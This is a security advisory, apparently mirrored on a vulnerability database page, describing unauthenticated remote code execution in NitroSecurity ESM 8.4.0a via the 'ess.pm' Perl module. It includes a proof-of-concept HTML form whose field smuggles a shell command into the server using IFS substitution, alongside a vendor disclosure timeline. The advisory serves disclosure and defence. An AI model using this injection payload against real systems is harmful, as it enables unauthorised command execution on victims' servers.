NitroSecurity ESM 8.4.0a - Remote Code Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType

NitroView ESM 8.4.0a - Remote Code Execution vulnerability through "ess.pm" Perl modul


                                                -- Product description:
NitroView ESM is an enterprise-class security information and event
management system that identifies, correlates, and remediates threats
faster than any other SIEM on the market.

-- Problem Description:
During research it was found that perl module &#34;ess.pm&#34; is prone to
remote code execution vulnerability due to lack of user input
validation.

-- Research Environment:
The vulnerability was found and tested on ESM 8.4.0a (NitroSecurity
2.6.22.19-24nssmp64 GNU/Linux).

-- Requirements:
During the research &#34;ESSPMDebug=1&#34; option in
&#34;/usr/local/ess/CPConsoleServer.cfg&#34; was required. No authentication
in NitroSecurity ESM was required to successfuly conduct the attack.

-- Technical Details:
Because of the &#34;system()&#34; call in &#34;ess.pm&#34; module it&#39;s possible to
send specially crafted request to NitroSecurity ESM web interface,
which results in remote command execution. It&#39;s necessery to change
IFS (Internal Field Separator) to exploit this vulnerability. Probably
other methods also would work.

-- Proof Of Concept:
The following code was successfuly executed in testing environment
(remember to change x.x.x.x to your NitroSecurity ESM IP address for
testing purposes only):

-- cut --
&#60;html&#62;
&#60;pre&#62;

[*] Tested on v8.4.0a &#34;NitroSecurity 2.6.22.19-24nssmp64 GNU/Linux&#34;
[*] No authentication required
[*] &#34;ESSPMDebug=1&#34; in &#34;/usr/local/ess/CPConsoleServer.cfg&#34; required

&#60;/pre&#62;
&#60;form action=&#34;https://x.x.x.x/ess&#34;; method=&#34;POST&#34;&#62;
&#60;input type=&#34;text&#34; name=&#34;Request&#34; value=&#34;A&#39;;c=&#39;uname:-a&#39;;IFS=:;$c&#62;&#62;/tmp/test;&#39;&#34;
&#60;input type=&#34;hidden&#34; name=&#34;debug&#34; value=&#34;1&#34;&#62;
&#60;input type=&#34;submit&#34; value=&#34;Oops()&#34;&#62;
&#60;/form&#62;
&#60;/html&#62;
-- cut --

-- Impact:
Remote code execution in the context of the user running web server.

-- CVSS:
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)

-- Disclosure timeline:
20100922: initial contact with vendor
20100922: vendor response
20100923: detailed information about vulnerability and PoC sent to vendor
20100923: vulnerability confirmed by vendor
20101008: patch released by vendor
20101025: security advisory released

-- Credits:
This bug was found by s_n ;-p

-- Greetz
K&I, #dragonfly

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1